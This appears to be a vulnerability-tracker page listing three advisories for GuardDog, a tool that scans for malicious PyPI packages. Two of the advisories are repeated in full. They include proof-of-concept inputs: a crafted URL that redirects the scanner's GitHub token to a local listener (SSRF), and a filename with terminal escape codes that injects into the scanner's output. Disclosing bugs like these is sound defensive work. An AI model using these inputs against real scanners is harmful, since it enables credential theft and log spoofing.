Guarddog
by Guarddog
CVEs (3)
| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-44971 | hig | 0.45 | — | — | May 11, 2026 | # Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts. | |
| CVE-2026-44972 | 0.00 | — | — | May 11, 2026 | # Summary GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs. # Description The finding formatter stores file paths and snippets from scanned content: ```python location = file_path + ":" + str(start_line) finding = { "location": location, "code": code, "message": result["extra"]["message"], } ``` The human-readable reporter later prints these values directly: ```python " * " + finding["message"] + " at " + finding["location"] + "\n " + _format_code_line_for_output(finding["code"]) ``` No escaping is applied for control characters such as `\x1b`. A malicious package can therefore ship a filename like: ```text evil\x1b[2J.py ``` or matched source lines containing terminal escapes, which survive into the final CLI output. # Reproduction summary 1. Create a file whose name contains `\x1b[2J`. 2. Feed a semgrep-style result referencing that file into `Analyzer._format_semgrep_response()`. 3. Render the result with `HumanReadableReporter.print_scan_results()`. 4. The output string contains the raw escape bytes, which a terminal may interpret. # Key code paths - `guarddog/analyzer/analyzer.py:377-392` - `guarddog/reporters/human_readable.py:36-42` - `guarddog/reporters/human_readable.py:84-91` # Practical impact This can be used to: - clear or rewrite analyst terminal output - inject misleading or spoofed log content in CI - emit clickable OSC 8 hyperlinks or title changes in compatible terminals # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets. | ||
| CVE-2026-22871 | 0.00 | — | 0.00 | Jan 13, 2026 | GuardDog is a CLI tool to identify malicious PyPI packages. Prior to 2.7.1, there is a path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog. This vulnerability is fixed in 2.7.1. |
- risk 0.45cvss —epss —
# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
- CVE-2026-44972May 11, 2026risk 0.00cvss —epss —
# Summary GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs. # Description The finding formatter stores file paths and snippets from scanned content: ```python location = file_path + ":" + str(start_line) finding = { "location": location, "code": code, "message": result["extra"]["message"], } ``` The human-readable reporter later prints these values directly: ```python " * " + finding["message"] + " at " + finding["location"] + "\n " + _format_code_line_for_output(finding["code"]) ``` No escaping is applied for control characters such as `\x1b`. A malicious package can therefore ship a filename like: ```text evil\x1b[2J.py ``` or matched source lines containing terminal escapes, which survive into the final CLI output. # Reproduction summary 1. Create a file whose name contains `\x1b[2J`. 2. Feed a semgrep-style result referencing that file into `Analyzer._format_semgrep_response()`. 3. Render the result with `HumanReadableReporter.print_scan_results()`. 4. The output string contains the raw escape bytes, which a terminal may interpret. # Key code paths - `guarddog/analyzer/analyzer.py:377-392` - `guarddog/reporters/human_readable.py:36-42` - `guarddog/reporters/human_readable.py:84-91` # Practical impact This can be used to: - clear or rewrite analyst terminal output - inject misleading or spoofed log content in CI - emit clickable OSC 8 hyperlinks or title changes in compatible terminals # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.
- CVE-2026-22871Jan 13, 2026risk 0.00cvss —epss 0.00
GuardDog is a CLI tool to identify malicious PyPI packages. Prior to 2.7.1, there is a path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog. This vulnerability is fixed in 2.7.1.